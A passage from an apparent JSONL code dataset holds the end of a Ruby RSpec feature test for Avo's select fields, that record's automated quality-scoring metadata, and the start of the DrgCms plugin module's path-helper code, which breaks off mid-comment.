expect(page).to have_select \"product_sizes\", multiple: true, options: [\"Large\", \"Medium\", \"Small\"]\n\n select \"Large\", from: \"product_sizes\"\n select \"Medium\", from: \"product_sizes\"\n\n save\n\n expect(find_field_element(:sizes)).to have_text(\"Large, Medium\")\n expect(Product.last.sizes).to match_array([\"large\", \"medium\"])\n end\n end\n\n context \"edit\" do\n let(:product) { create :product, sizes: [:large] }\n\n it \"allow changing of selected values\" do\n visit avo.edit_resources_product_path(product)\n\n expect(page).to have_select \"product_sizes\", selected: [\"Large\"], multiple: true, options: [\"Large\", \"Medium\", \"Small\"]\n\n select \"Medium\", from: \"product_sizes\"\n select \"Small\", from: \"product_sizes\"\n\n save\n\n expect(find_field_element(:sizes)).to have_text(\"Large, Medium, Small\")\n expect(Product.last.sizes).to match_array([\"medium\", \"small\", \"large\"])\n end\n\n it \"allow deselecting of previously selected values\" do\n visit avo.edit_resources_product_path(product)\n\n expect(page).to have_select \"product_sizes\", selected: [\"Large\"], multiple: true, options: [\"Large\", \"Medium\", \"Small\"]\n\n page.unselect \"Large\", from: \"Sizes\"\n\n save\n\n expect(find_field_element(:sizes)).to have_text(\"—\")\n expect(Product.last.sizes).to match_array([])\n end\n end\n end\n\n describe \"when options are grouped\" do\n let!(:event) { create :event, name: \"Event 1\" }\n let!(:volunteer) { create :volunteer, name: \"\", role: \"Helper\" }\n\n context \"single select with grouped options\" do\n it \"shows grouped options and saves the selected value\" do\n visit avo.new_resources_volunteer_path\n\n expect(page).to have_select \"volunteer_department\"\n\n # Check grouped options structure\n within \"select[name='volunteer[department]']\" do\n expect(page).to have_selector \"optgroup[label='Administration']\"\n expect(page).to have_selector \"optgroup[label='Operations']\"\n expect(page).to have_selector \"optgroup[label='Technology']\"\n end\n\n select \"HR\", from: \"volunteer_department\"\n fill_in \"volunteer_name\", with: \"\"\n fill_in \"volunteer_role\", with: \"Administrator\"\n\n select \"Event 1\", from: \"volunteer_event_id\"\n\n save\n\n expect(find_field_element(:department)).to have_text(\"HR\")\n expect(Volunteer.last.department).to eq \"hr\"\n end\n\n it \"displays the correct selected value on edit\" do\n volunteer.update!(department: \"Finance\")\n visit avo.edit_resources_volunteer_path(volunteer)\n\n expect(page).to have_select \"volunteer_department\", selected: \"Finance\"\n end\n end\n\n context \"multiple select with grouped options\" do\n it \"allows selection of multiple grouped values\" do\n visit avo.new_resources_volunteer_path\n\n expect(page).to have_select \"volunteer_skills\", multiple: true\n\n # Check grouped options structure\n within \"select[name='volunteer[skills][]']\" do\n expect(page).to have_selector \"optgroup[label='Technical Skills']\"\n expect(page).to have_selector \"optgroup[label='Communication Skills']\"\n expect(page).to have_selector \"optgroup[label='Leadership Skills']\"\n end\n\n select \"Programming\", from: \"volunteer_skills\"\n select \"Public Speaking\", from: \"volunteer_skills\"\n fill_in \"volunteer_name\", with: \"\"\n fill_in \"volunteer_role\", with: \"Volunteer\"\n\n select \"Event 1\", from: \"volunteer_event_id\"\n\n save\n\n expect(find_field_element(:skills)).to have_text(\"Programming, Public Speaking\")\n expect(Volunteer.last.skills).to match_array([\"programming\", \"public_speaking\"])\n end\n\n it \"displays the correct selected values on edit\" do\n volunteer.update(skills: [\"database\", \"team_mgmt\"])\n visit avo.edit_resources_volunteer_path(volunteer)\n\n expect(page).to have_select \"volunteer_skills\", selected: [\"Database Management\", \"Team Management\"], multiple: true\n end\n\n it \"allows deselecting previously selected values\" do\n volunteer.update(skills: [\"programming\", \"writing\"])\n visit avo.edit_resources_volunteer_path(volunteer)\n\n expect(page).to have_select \"volunteer_skills\", selected: [\"Programming\", \"Writing\"], multiple: true\n\n page.unselect \"Programming\", from: \"Skills\"\n\n save\n\n expect(find_field_element(:skills)).to have_text(\"Writing\")\n expect(Volunteer.last.skills).to match_array([\"writing\"])\n end\n end\n end\nend\n", "text_preview": "require \"rails_helper\" RSpec.feature \"Select\", type: :feature do let(:project) { create :project } let(:placeholder) { \"Choose an option\" } before do Avo::Resources::Person.with_temporary_items do field :name, as: :text, link_to_record: tru", "input_sha256": "9ca2cd371fd6f33203ea0690fd6c2d361c5753eb6bb93531ee84523f60803011", "text_sha256": "846894bd6220b54d8f78647958b6718002b93e73b4dfd4f5c294015e173dd94c", "run_sha256": "0dbe3046118ab5f0eea428b55f67ac75d558dc1c7da585927c21fa1685f6e177", "line_number": 16100, "input_policy": "text-and-optional-url-v1", "label_policy_version": 12, "requested_model": "decision-models/baseten-mammoth-27b-latest", "backend": "baseten", "endpoint": "https://inference.baseten.co/v1/systemone", "status": "ok", "training_eligible": true, "label": {"primary": {"main_format": "Technical Writing", "sub_format": null}, "secondary": null, "tertiary": null, "content_structure": []}, "candidate_label": null, "topic": {"primary": {"main_topic": "Programming & Software Engineering", "sub_topic": null}, "secondary": null}, "scores": {"content_quality": 1, "noise_severity": 0, "missing_content_severity": 0, "factual_density": 3, "pretraining_utility": 1, "math_density": 0, "code_density": 4, "reasoning_density": 0, "education_level": 2, "creative_writing_quality": null}, "score_expectations": {"content_quality": 1.3112508134652732, "noise_severity": 0.05511898292056847, "missing_content_severity": 0.0041859378887755695, "factual_density": 3.14137601006432, "pretraining_utility": 0.5113428957247742, "math_density": 0.043619622452991336, "code_density": 3.8788969583811386, "reasoning_density": 0.6552306344545277, "education_level": 2.621197500531234, "creative_writing_quality": -0.23277200720940974}, "api_choices": {"primary": "Technical Writing", "secondary": "NONE", "tertiary": "NONE", "education_level": "2", "creative_writing_quality": "not_applicable", "primary_topic": "Programming & Software Engineering", "secondary_topic": "NONE"}, "review_reasons": [], "format_slot_diagnostics": {"comparable": true, "secondary_tertiary_identical": false, "secondary_tertiary_max_abs_gap": 0.013132031451813297, "secondary_choice": "NONE", "tertiary_choice": "NONE"}, "confidence": {"primary": 0.9779592254868996, "secondary": 0.9430569670552711, "tertiary": 0.9567599563962937, "structured_records": 0.2548938476859043, "procedural_steps": 0.09264792647922673, "worked_solution": 0.14353296878670324, "contextual_dialogue": 5.3984844545272685e-06, "content_quality": 0.5395251139650612, "noise_severity": 0.9540675142328596, "missing_content_severity": 0.9965117184260204, "factual_density": 0.5244508147179201, "pretraining_utility": 0.45161083834861493, "math_density": 0.9636503146225073, "code_density": 0.8990807986509487, "reasoning_density": 0.4539744712878935, "education_level": 0.3570884074911676, "creative_writing_quality": 0.9991946774822648, "primary_topic": 0.9934745613532614, "secondary_topic": 0.9427694113253845}, "probability_margin": {"primary": 0.9622656431578668, "secondary": 0.917089594578342, "tertiary": 0.9412877430332536, "education_level": 0.03365929918940941, "creative_writing_quality": 0.9989847186684713, "primary_topic": 0.9899130697854149, "secondary_topic": 0.9180440785243129}, "raw_probabilities": {"primary": {"Academic Writing": 0.00013993985688142313, "Content Listing": 5.0159835713185136e-05, "Creative Writing": 3.322401948305956e-05, "Customer Support Page": 4.9589594314963476e-05, "Q&A Forum": 2.5973216059678385e-05, "Discussion Thread": 1.8678747240974165e-05, "Comment Section": 2.959599737014782e-05, "Missing Content": 3.95447938172003e-05, "Knowledge Article": 0.00013378794580481864, "Legal Notices": 5.217491621772847e-05, "News Article": 1.2648994319506817e-05, "Organizational Announcement": 2.5159943536518147e-05, "Nonfiction Writing": 2.2893636289486248e-05, "Organizational About Page": 2.7817161730456872e-05, "Personal About Page": 2.249756806794059e-05, "Personal Blog": 1.4329422977836976e-05, "Product Page": 2.002183430550843e-05, "Spam / Ads": 2.9299200272365205e-05, "Structured Data": 0.002119445718954987, "Technical Writing": 0.9788775910916121, "Transcript / Interview": 5.344729092677549e-05, "Tutorial / How-To Guide": 0.0015735609713579172, "User Reviews": 1.667030899994297e-05, "Other / Unknown": 0.016611947933745295}, "secondary": {"Academic Writing": 0.0003195950135168624, "Content Listing": 0.0001609388856148255, "Creative Writing": 0.00019752786552932748, "Customer Support Page": 0.0001534168663242724, "Q&A Forum": 7.703422310713926e-05, "Discussion Thread": 6.389294658647349e-05, "Comment Section": 9.650450281731305e-05, "Missing Content": 0.00035033459369384343, "Knowledge Article": 0.0004666408208262397, "Legal Notices": 0.0001641448954091742, "News Article": 9.634748287178754e-05, "Organizational Announcement": 9.362568769186297e-05, "Nonfiction Writing": 8.988532876594926e-05, "Organizational About Page": 0.00010756936825946338, "Personal About Page": 8.486259482727717e-05, "Personal Blog": 8.355321692736927e-05, "Product Page": 7.09090712142282e-05, "Spam / Ads": 0.00012179120404491295, "Structured Data": 0.018824484741649498, "Technical Writing": 0.02833999884962609, "Transcript / Interview": 0.0001370905906355175, "Tutorial / How-To Guide": 0.004411780509780854, "User Reviews": 5.847731231164561e-05, "NONE": 0.9454295934279682}, "tertiary": {"Academic Writing": 0.00019256674065985864, "Content Listing": 0.00012293421650149322, "Creative Writing": 0.00012328438018516125, "Customer Support Page": 9.372114200815535e-05, "Q&A Forum": 4.4509621667707225e-05, "Discussion Thread": 4.097148694824315e-05, "Comment Section": 7.852591182649903e-05, "Missing Content": 0.0002810340846120331, "Knowledge Article": 0.0004139874165969947, "Legal Notices": 0.00018123323996639427, "News Article": 6.655997976413523e-05, "Organizational Announcement": 6.0136547203755386e-05, "Nonfiction Writing": 6.49501963000525e-05, "Organizational About Page": 8.915441455388663e-05, "Personal About Page": 5.207579235561405e-05, "Personal Blog": 5.080105226425148e-05, "Product Page": 6.025313931385244e-05, "Spam / Ads": 8.771977726565416e-05, "Structured Data": 0.017168706042747877, "Technical Writing": 0.017273881846527884, "Transcript / Interview": 8.122294555616844e-05, "Tutorial / How-To Guide": 0.004772067203913966, "User Reviews": 3.807794147894229e-05, "NONE": 0.9585616248797815}, "structured_records": {"false": 0.7451061523140957, "true": 0.2548938476859043}, "procedural_steps": {"false": 0.9073520735207733, "true": 0.09264792647922673}, "worked_solution": {"false": 0.8564670312132967, "true": 0.14353296878670324}, "contextual_dialogue": {"false": 0.9999946015155454, "true": 5.3984844545272685e-06}, "content_quality": {"-2": 0.002852763377712335, "-1": 0.009365428087897866, "0": 0.09337037857939397, "1": 0.46250109160139585, "2": 0.4319103383535999}, "noise_severity": {"0": 0.9524980636399993, "1": 0.04183998731252755, "2": 0.004264927909786635, "3": 0.0008389447622780136, "4": 0.0005580763754084018}, "missing_content_severity": {"0": 0.9977810703994587, "1": 0.0008743951480788749, "2": 0.0008434283171646596, "3": 0.00037973843482254333, "4": 0.00012136770047493608}, "factual_density": {"0": 0.007959434431917586, "1": 0.01590239799356144, "2": 0.1589584068542121, "3": 0.4611622445189007, "4": 0.35601751620140815}, "pretraining_utility": {"-2": 0.00914010651452968, "-1": 0.09693227723505293, "0": 0.35207717511474895, "1": 0.45714549628245027, "2": 0.0847049448532181}, "math_density": {"0": 0.9637657199065512, "1": 0.03213633911489268, "2": 0.002132925489626954, "3": 0.0006426295968715123, "4": 0.0013223858920575512}, "code_density": {"0": 0.00030984607637085204, "1": 0.0005778943003904209, "2": 0.012097293801511384, "3": 0.09393538680918417, "4": 0.8930795790125431}, "reasoning_density": {"0": 0.6814987607018854, "1": 0.09310413912815631, "2": 0.1443167002492622, "3": 0.05082850485493781, "4": 0.030251895065758424}, "education_level": {"none": 0.0010009403622037603, "0": 0.0011207082115962104, "1": 0.004625949336882017, "2": 0.464240339575973, "3": 0.4305810403865636, "4": 0.09843102212678145}, "creative_writing_quality": {"not_applicable": 0.9993288979018873, "-2": 8.54279785726005e-05, "-1": 0.00013036588317141194, "0": 0.00034417923341597715, "1": 7.724994800883675e-05, "2": 3.3879054943824154e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.6100101258203146e-05, "Art & Design": 0.00047152194139717877, "Law & Crime": 5.220710638182591e-05, "Education & Careers": 5.018810223515181e-05, "Entertainment & Media": 3.013630392878504e-05, "Fashion & Beauty": 4.47708124132053e-05, "Business, Economics & Finance": 0.00014449604366427405, "Food & Dining": 4.097518953273207e-05, "Games & Gaming": 9.318935213800631e-05, "Electronics & Hardware": 5.2325213809085675e-05, "Health, Healthcare & Wellness": 3.506963599873295e-05, "History & Geography": 0.00015244956839751526, "Home, Pets & Hobbies": 3.558075250045709e-05, "Industry & Production": 3.38521343788228e-05, "Language, Literature & Philosophy": 5.177837951357852e-05, "Politics & Government": 3.316408575435143e-05, "Religion & Spirituality": 4.054004966936299e-05, "Science, Mathematics & Engineering": 0.00020345537327373428, "Relationships & Community": 0.00032877519676499916, "Software Usage & Applications": 0.003812469977336455, "Programming & Software Engineering": 0.9937255397627514, "Sports & Fitness": 6.669476600768092e-05, "Vehicles & Transportation": 2.8767274984406086e-05, "Travel & Tourism": 0.00012245257721625168, "Other / Uncovered Subject": 0.00024178695030915788, "Unknown / Insufficient Content": 6.1713348384579e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005087924951371197, "Art & Design": 0.004323818557306732, "Law & Crime": 0.0004191611901820663, "Education & Careers": 0.00027827331877397304, "Entertainment & Media": 0.000346925969750354, "Fashion & Beauty": 0.0002510487190031962, "Business, Economics & Finance": 0.0006831511162922045, "Food & Dining": 0.00032960353386877296, "Games & Gaming": 0.00035982166352630874, "Electronics & Hardware": 0.0002242505444795293, "Health, Healthcare & Wellness": 0.0003057365603904407, "History & Geography": 0.0005595949082688169, "Home, Pets & Hobbies": 0.0002206644050710816, "Industry & Production": 0.00015057544208090675, "Language, Literature & Philosophy": 0.00021317660672438092, "Politics & Government": 0.0002069707671724183, "Religion & Spirituality": 0.0002242269139753439, "Science, Mathematics & Engineering": 0.0006789572828736839, "Relationships & Community": 0.0008648177051854332, "Software Usage & Applications": 0.026926509288556832, "Programming & Software Engineering": 0.015390916157592261, "Sports & Fitness": 0.00021682201599947665, "Vehicles & Transportation": 0.00011533343713773011, "Travel & Tourism": 0.0005841540473398037, "Other / Uncovered Subject": 0.0006461095404413562, "NONE": 0.9449705878128697}}, "probabilities": {"primary": {"Academic Writing": 0.00013993985688142316, "Content Listing": 5.015983571318515e-05, "Creative Writing": 3.322401948305957e-05, "Customer Support Page": 4.958959431496349e-05, "Q&A Forum": 2.5973216059678392e-05, "Discussion Thread": 1.8678747240974168e-05, "Comment Section": 2.9595997370147826e-05, "Missing Content": 3.954479381720031e-05, "Knowledge Article": 0.00013378794580481867, "Legal Notices": 5.217491621772848e-05, "News Article": 1.264899431950682e-05, "Organizational Announcement": 2.5159943536518154e-05, "Nonfiction Writing": 2.2893636289486255e-05, "Organizational About Page": 2.781716173045688e-05, "Personal About Page": 2.2497568067940593e-05, "Personal Blog": 1.432942297783698e-05, "Product Page": 2.0021834305508435e-05, "Spam / Ads": 2.9299200272365212e-05, "Structured Data": 0.0021194457189549873, "Technical Writing": 0.9788775910916123, "Transcript / Interview": 5.34472909267755e-05, "Tutorial / How-To Guide": 0.0015735609713579176, "User Reviews": 1.6670308999942974e-05, "Other / Unknown": 0.0166119479337453}, "secondary": {"Academic Writing": 0.0003195950135168624, "Content Listing": 0.0001609388856148255, "Creative Writing": 0.00019752786552932748, "Customer Support Page": 0.0001534168663242724, "Q&A Forum": 7.703422310713926e-05, "Discussion Thread": 6.389294658647349e-05, "Comment Section": 9.650450281731305e-05, "Missing Content": 0.00035033459369384343, "Knowledge Article": 0.0004666408208262397, "Legal Notices": 0.0001641448954091742, "News Article": 9.634748287178754e-05, "Organizational Announcement": 9.362568769186297e-05, "Nonfiction Writing": 8.988532876594926e-05, "Organizational About Page": 0.00010756936825946338, "Personal About Page": 8.486259482727717e-05, "Personal Blog": 8.355321692736927e-05, "Product Page": 7.09090712142282e-05, "Spam / Ads": 0.00012179120404491295, "Structured Data": 0.018824484741649498, "Technical Writing": 0.02833999884962609, "Transcript / Interview": 0.0001370905906355175, "Tutorial / How-To Guide": 0.004411780509780854, "User Reviews": 5.847731231164561e-05, "NONE": 0.9454295934279682}, "tertiary": {"Academic Writing": 0.00019256674065985864, "Content Listing": 0.00012293421650149322, "Creative Writing": 0.00012328438018516125, "Customer Support Page": 9.372114200815535e-05, "Q&A Forum": 4.4509621667707225e-05, "Discussion Thread": 4.097148694824315e-05, "Comment Section": 7.852591182649903e-05, "Missing Content": 0.0002810340846120331, "Knowledge Article": 0.0004139874165969947, "Legal Notices": 0.00018123323996639427, "News Article": 6.655997976413523e-05, "Organizational Announcement": 6.0136547203755386e-05, "Nonfiction Writing": 6.49501963000525e-05, "Organizational About Page": 8.915441455388663e-05, "Personal About Page": 5.207579235561405e-05, "Personal Blog": 5.080105226425148e-05, "Product Page": 6.025313931385244e-05, "Spam / Ads": 8.771977726565416e-05, "Structured Data": 0.017168706042747877, "Technical Writing": 0.017273881846527884, "Transcript / Interview": 8.122294555616844e-05, "Tutorial / How-To Guide": 0.004772067203913966, "User Reviews": 3.807794147894229e-05, "NONE": 0.9585616248797815}, "structured_records": {"false": 0.7451061523140957, "true": 0.2548938476859043}, "procedural_steps": {"false": 0.9073520735207733, "true": 0.09264792647922673}, "worked_solution": {"false": 0.8564670312132967, "true": 0.14353296878670324}, "contextual_dialogue": {"false": 0.9999946015155454, "true": 5.3984844545272685e-06}, "content_quality": {"-2": 0.0028527633777123353, "-1": 0.009365428087897868, "0": 0.09337037857939398, "1": 0.4625010916013959, "2": 0.43191033835359993}, "noise_severity": {"0": 0.9524980636399994, "1": 0.041839987312527555, "2": 0.004264927909786636, "3": 0.0008389447622780137, "4": 0.0005580763754084019}, "missing_content_severity": {"0": 0.997781070399459, "1": 0.0008743951480788751, "2": 0.0008434283171646598, "3": 0.00037973843482254344, "4": 0.0001213677004749361}, "factual_density": {"0": 0.007959434431917586, "1": 0.01590239799356144, "2": 0.1589584068542121, "3": 0.4611622445189007, "4": 0.35601751620140815}, "pretraining_utility": {"-2": 0.009140106514529681, "-1": 0.09693227723505295, "0": 0.352077175114749, "1": 0.4571454962824503, "2": 0.08470494485321811}, "math_density": {"0": 0.9637657199065514, "1": 0.032136339114892686, "2": 0.0021329254896269544, "3": 0.0006426295968715124, "4": 0.0013223858920575514}, "code_density": {"0": 0.0003098460763708521, "1": 0.000577894300390421, "2": 0.012097293801511385, "3": 0.09393538680918419, "4": 0.8930795790125432}, "reasoning_density": {"0": 0.6814987607018853, "1": 0.0931041391281563, "2": 0.14431670024926216, "3": 0.0508285048549378, "4": 0.030251895065758417}, "education_level": {"none": 0.0010009403622037603, "0": 0.0011207082115962104, "1": 0.004625949336882017, "2": 0.464240339575973, "3": 0.4305810403865636, "4": 0.09843102212678145}, "creative_writing_quality": {"not_applicable": 0.9993288979018874, "-2": 8.542797857260051e-05, "-1": 0.00013036588317141197, "0": 0.0003441792334159772, "1": 7.724994800883676e-05, "2": 3.387905494382416e-05}, "primary_topic": {"Adult & Explicit Sexual Content": 4.610010125820315e-05, "Art & Design": 0.0004715219413971788, "Law & Crime": 5.220710638182592e-05, "Education & Careers": 5.018810223515182e-05, "Entertainment & Media": 3.0136303928785043e-05, "Fashion & Beauty": 4.4770812413205306e-05, "Business, Economics & Finance": 0.00014449604366427408, "Food & Dining": 4.097518953273208e-05, "Games & Gaming": 9.318935213800633e-05, "Electronics & Hardware": 5.232521380908568e-05, "Health, Healthcare & Wellness": 3.506963599873296e-05, "History & Geography": 0.00015244956839751528, "Home, Pets & Hobbies": 3.5580752500457096e-05, "Industry & Production": 3.385213437882281e-05, "Language, Literature & Philosophy": 5.177837951357853e-05, "Politics & Government": 3.316408575435144e-05, "Religion & Spirituality": 4.0540049669363e-05, "Science, Mathematics & Engineering": 0.0002034553732737343, "Relationships & Community": 0.0003287751967649992, "Software Usage & Applications": 0.0038124699773364554, "Programming & Software Engineering": 0.9937255397627515, "Sports & Fitness": 6.669476600768093e-05, "Vehicles & Transportation": 2.876727498440609e-05, "Travel & Tourism": 0.0001224525772162517, "Other / Uncovered Subject": 0.0002417869503091579, "Unknown / Insufficient Content": 6.171334838457901e-05}, "secondary_topic": {"Adult & Explicit Sexual Content": 0.0005087924951371198, "Art & Design": 0.004323818557306733, "Law & Crime": 0.00041916119018206636, "Education & Careers": 0.0002782733187739731, "Entertainment & Media": 0.00034692596975035406, "Fashion & Beauty": 0.00025104871900319625, "Business, Economics & Finance": 0.0006831511162922046, "Food & Dining": 0.000329603533868773, "Games & Gaming": 0.0003598216635263088, "Electronics & Hardware": 0.00022425054447952934, "Health, Healthcare & Wellness": 0.00030573656039044073, "History & Geography": 0.000559594908268817, "Home, Pets & Hobbies": 0.00022066440507108163, "Industry & Production": 0.00015057544208090678, "Language, Literature & Philosophy": 0.00021317660672438095, "Politics & Government": 0.00020697076717241832, "Religion & Spirituality": 0.00022422691397534393, "Science, Mathematics & Engineering": 0.000678957282873684, "Relationships & Community": 0.0008648177051854333, "Software Usage & Applications": 0.026926509288556836, "Programming & Software Engineering": 0.015390916157592263, "Sports & Fitness": 0.00021682201599947668, "Vehicles & Transportation": 0.00011533343713773012, "Travel & Tourism": 0.0005841540473398038, "Other / Uncovered Subject": 0.0006461095404413563, "NONE": 0.9449705878128698}}, "probability_diagnostics": {"primary": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "tertiary": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "structured_records": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "procedural_steps": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "worked_solution": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "contextual_dialogue": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "content_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "noise_severity": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "missing_content_severity": {"raw_sum": 0.9999999999999998, "mass_delta": -2.220446049250313e-16, "missing_mass": 2.220446049250313e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "factual_density": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "pretraining_utility": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "math_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "code_density": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "reasoning_density": {"raw_sum": 1.0000000000000002, "mass_delta": 2.220446049250313e-16, "missing_mass": 0.0, "excess_mass": 2.220446049250313e-16, "valid": true, "normalized": false}, "education_level": {"raw_sum": 1.0, "mass_delta": 0.0, "missing_mass": 0.0, "excess_mass": 0.0, "valid": true, "normalized": false}, "creative_writing_quality": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "primary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}, "secondary_topic": {"raw_sum": 0.9999999999999999, "mass_delta": -1.1102230246251565e-16, "missing_mass": 1.1102230246251565e-16, "excess_mass": 0.0, "valid": true, "normalized": false}}, "usage": {"input_tokens": 11606, "output_tokens": 19}, "cache": {"status": "unreported", "cached_tokens": null, "cache_write_tokens": null, "input_tokens": 11606, "cached_share": null, "cache_discount_reported": null, "reported_cost_usd": null}, "response_metadata": {"model": "decision-models/baseten-mammoth-27b-latest"}, "scored_at_utc": "2026-10-25T18:36:06.429721+00:00", "scoring_key_slot": "assistant_1", "dataset_uid": "cb7a8135-9e2d-497a-82c3-6d7131e57a88", "dataset_revision": "62077439f2c81c79b71c084d1057ee1d042369a3", "dataset_config": "default", "content_variant": "content", "source_record_sha256": "fe838fd78f108500c97e1582b0f08654b1bcf9a48a00878202828fde8e648352", "source_metadata": {"uuid": "cb7a8135-9e2d-497a-82c3-6d7131e57a88", "repo_name": "avo-hq/avo", "relative_path": "spec/features/avo/select_field_spec.rb", "category": "TEST", "algo_rel_score": 0.9399150013923645, "quality_score": 6.054382801055908, "source_meta": {"github_metadata": {"branch": "main", "commit_count": 2688, "repo_created_at": "2020-04-26T09:31:53.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1663, "forks": 289, "issues": 253, "pull_requests": 8}, "file_meta": {"content_id": "f655e3ccbb0f656eb3e3e8687be2bf4c445b05d7", "size_bytes": 12080, "file_timestamp": 1752735103, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "277460e9606546258d2fcc6d065e50e07195b813"}}, "parsed_source_meta": {"github_metadata": {"branch": "main", "commit_count": 2688, "repo_created_at": "2020-04-26T09:31:53.000Z", "is_fork": false, "is_org_owned": true, "forked_from": null, "stars": 1663, "forks": 289, "issues": 253, "pull_requests": 8}, "file_meta": {"content_id": "f655e3ccbb0f656eb3e3e8687be2bf4c445b05d7", "size_bytes": 12080, "file_timestamp": 1752735103, "language": "ruby", "is_vendor": false, "license_type": "no_license", "detected_licenses": []}, "commit_id": "277460e9606546258d2fcc6d065e50e07195b813", "url": "https://github.com/avo-hq/avo/blob/277460e9606546258d2fcc6d065e50e07195b813/spec/features/avo/select_field_spec.rb"}, "gpt4o_tokens": 2960, "dataset_split": "ruby", "probability_weighted_scores": {"content_quality": 1.3112508134652732, "noise_severity": 0.05511898292056847, "missing_content_severity": 0.0041859378887755695, "factual_density": 3.14137601006432, "pretraining_utility": 0.5113428957247742, "math_density": 0.043619622452991336, "code_density": 3.8788969583811386, "reasoning_density": 0.6552306344545277, "education_level": 2.621197500531234, "creative_writing_quality": -0.23277200720940974}, "score_applicability": {"education_level": 0.9989990596377962, "creative_writing_quality": 0.0006711020981126506}} {"source_group": "ruby", "source": "openbmb/UltraData-Stack-v3-L2/ruby", "domain": "github.com", "language": "ruby", "url": "https://github.com/drgcms/drg-cms/blob/c29214859b861b640468c6b4d312c78ddbab699b/lib/drg_cms.rb", "id": "ruby-0-6214724400869034d071ce171db2d7be", "text": "require 'drg_cms/engine'\nrequire 'drg_cms/version'\n\n################################################################################\n# DRG CMS plugin module.\n################################################################################\nmodule DrgCms \n @@paths = {}\n################################################################################\n# Returns source file name of required model. \n# \n# Used wherever end user wants to extend basic DrgCms model. Model source definition \n# file is tricky to require since it is included in DrgCms gem and thus a moving \n# target. Whenever gem version changes file location changes with it. This way \n# programmer doesn't have to care about actual source file location.\n# \n# Parameters:\n# [ model_name ] String. Must be passed in lower case, just like the file name is. \n# \n# Example: \n# require DrgCms.model 'dc_page'\n# \n###############################################################################\ndef self.model(model_name)\n File.expand_path(\"../../app/models/#{model_name}.rb\", __FILE__) \nend\n\n###############################################################################\n# When new plugin with its own DRG forms is added to application, path to\n# forms directory must be send to DrgCms module. Paths are saved into internal @@paths variable.\n# \n# Adding path is best done in plugin module initialization code.\n# \n# Parameters:\n# [path] String. Path to forms directory\n# \n# Example:\n# # As used in MyPlugin plugin.\n# require \"my_plugin/engine\"\n# module MyPlugin\n# end\n#\n# DrgCms.add_forms_path(Rails.root.join('app/forms'), Rails.root.join('app/reports/forms'))\n###############################################################################\ndef self.add_forms_path(*paths)\n if @@paths[:forms].nil?\n # DrgCms own forms path by default\n @@paths[:forms] = [File.expand_path(\"../../app/forms\", __FILE__)]\n end\n @@paths[:forms] += paths\nend\n\n###############################################################################\n# Patching is one of the rubies best strengths and also its curse. Loading\n# patches in development has become real problem for developers. This is my\n# way of patch loading.\n# \n# Preferred location for patch files is lib/patches. But can be located anywhere in \n# Rails application path. Add DrgCms.add_forms_path to initialization part and pass \n# directory name where patching files are located as parameter. \n# \n# Method will also load patch file so loading in config/initializers is not required.\n# \n# Parameters:\n# [path] String. Path to patches directory\n# \n# Example:\n# # As used in MyPlugin plugin.\n# require \"my_plugin/engine\"\n# module MyPlugin\n# end\n#\n# DrgCms.add_patches_path File.dirname(__FILE__) + '/patches'\n###############################################################################\ndef self.add_patches_path(path)\n self.add_path(:patches, path)\nend\n\n###############################################################################\n# General add path method. Paths are saved into @@paths hash variable. Paths can\n# then be reused in different parts of application.\n# \n# Adding paths is best done in plugin module initialization code.\n# \n# Parameters:\n# [type] Symbol. Defines type of data. Current used values are :forms, :patches\n# [path] String. Path or string which will be added to @@paths hash.\n# \n# Example:\n# DrgCms.add_path(File.expand_path('patches', __FILE__), :patches)\n###############################################################################\ndef self.add_path(type, path) \n @@paths[type] ||= []\n @@paths[type] << path \nend\n\n###############################################################################\n# Will return value saved to internal @@paths hash.\n# \n# Parameters:\n# [key] String. Key \n# forms_paths = DrgCms.paths(:forms)\n# patches_paths = DrgCms.paths(:patches)\n###############################################################################\ndef self.paths(key)\n @@paths[key]\nend\n\n###############################################################################\n# Will return name of file relative to drg_cms gem root\n###############################################################################\ndef self.from_root(file=nil)\n File.expand_path(\"../../#{file}\", __FILE__).to_s\nend\n\n####################################################################\n# Checks if any errors exist on document and writes error log. It can also\n# crash if requested. This is mostly useful in development for debugging\n# model errors or when updating multiple collections and each save must be\n# checked if successful.\n#\n# @param [Document] Document object which will be 